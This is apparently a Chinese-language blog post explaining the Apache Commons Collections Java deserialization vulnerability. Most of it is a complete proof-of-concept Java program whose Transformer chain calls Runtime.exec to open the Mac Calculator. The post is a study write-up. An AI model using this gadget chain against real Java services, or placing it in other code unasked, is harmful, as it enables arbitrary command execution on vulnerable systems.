Java序列化漏洞简析

  Java序列化漏洞出来很久了,在膜拜了N篇文章之后,也算是懂了。写个博客记录下。

  实现利用apache.commons.coolections中的几个类反弹出计算器。。。

  这几个类是:

  • InvokerTransformer
  • ConstantTransformer
  • ChainedTransformer
  • TransformedMap
public class BounceCalculator {
    public static void main(String[] agrs) {

        //所要执行的命令,Mac系统
        String exec[] = "/bin/sh,-c,open /Applications/Calculator.app".split(",");
        //定义一组Transformer
        Transformer transformer[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),//得到一个是Transformer子类的Runtime,Class.forName("java.lang.Runtime");
                /**
                 * InvokerTransformer接受三个参数:
                 * String 要调用的方法名
                 * Class[] 传入参数的类型
                 * Object[] 传入的参数
                 * 这里面都有transform方法,这个方法将传入的input转换成调用某个方法之后的另一个对象
                 * public Object transform(Object input) {
                 * if (input == null) {
                 *   return null;
                 * }
                 * try {
                 * Class cls = input.getClass();
                 * Method method = cls.getMethod(iMethodName, iParamTypes);
                 * return method.invoke(input, iArgs);
                 * ....
                 * }
                 *
                */
                new InvokerTransformer(//Class.getMethod("getRuntime");
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer(//Method.invoke("");
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer(//Runtime.exec(exec);
                        "exec",
                        new Class[]{String[].class},
                        new Object[]{exec})
        };

        //前一个的输出为后一个的输入
        Transformer chain = new ChainedTransformer(transformer);
        //要执行每一个InvokerTransformer类的transformer方法
        Map<String, Object> temp = new HashMap<String, Object>();
        Map<String, Object> pocMap = TransformedMap.decorate(temp, null, chain);
        pocMap.put("1", "2");
        /**
         * 这里执行了:
         * public Object put(Object key, Object value) {
         * key = transformKey(key);
         * value = transformValue(value);
         * return getMap().put(key, value);
         * }
         */

        //执行setValue方法
        for (Map.Entry<String, Object> pocKey : pocMap.entrySet()) {
            pocKey.setValue("1");
        }
    }
}

  最后再推一遍:

  为了执行多个反射调用的方法以弹出计算器,需要找到一个触发点可以执行各自的transformer方法,这个出发点就是setValue方法。

  

你可能感兴趣的:(Java序列化漏洞简析)